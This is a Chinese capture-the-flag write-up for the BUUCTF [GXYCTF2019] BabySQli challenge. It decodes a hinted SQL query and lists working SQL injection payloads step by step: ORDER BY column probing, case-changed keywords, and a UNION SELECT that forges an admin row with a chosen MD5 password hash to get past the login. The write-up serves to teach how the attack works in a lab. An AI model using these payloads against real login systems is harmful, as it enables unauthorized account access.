BUUCTF[GXYCTF2019]BabySQli
Posted 王小帥
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF[GXYCTF2019]BabySQli相关的知识,希望对你有一定的参考价值。
SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<center>
<form action="search.php" method="post" style="margin-top: 300">
<input type="text" name="name" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="pw" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
</form>
</center>
由于没有注释内容,所以我试试抓包看看有没有注释内容,
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
可以看出这是base32加密,解密如下:
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
base64解密得到sql语句,这句话应该是提示
select * from user where username = '$name'
单引号闭合,使用payload:
name=admin'&pw=123
查看字段数:
name=admin' order by 3#&pw=123
大小写绕过尝试:
name=admin' Order by 3#&pw=123
name=admin' Order by 4#&pw=123
字段数为3,查看回显点位,
name=admin' union select 1,2,3#&pw=123
由于回显一样,暂时看不到,我们继续往后做。
这里学到了一个新知识:mysql在联合查询不存在的数据时,会自动构建虚拟数据,
比如我们使用:
select * from user where username = 'wxs' union select 1,'admin','123456';
原本库里没有123456,但mysql自动给我们加上了,相当于我们临时创建了一个admin用户,密码是123456。
所以我们假设密码是123456,其md5值为:e10adc3949ba59abbe56e057f20f883e
构造payload:
name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
成功登录得到flag:
思路:利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。
以上是关于BUUCTF[GXYCTF2019]BabySQli的主要内容,如果未能解决你的问题,请参考以下文章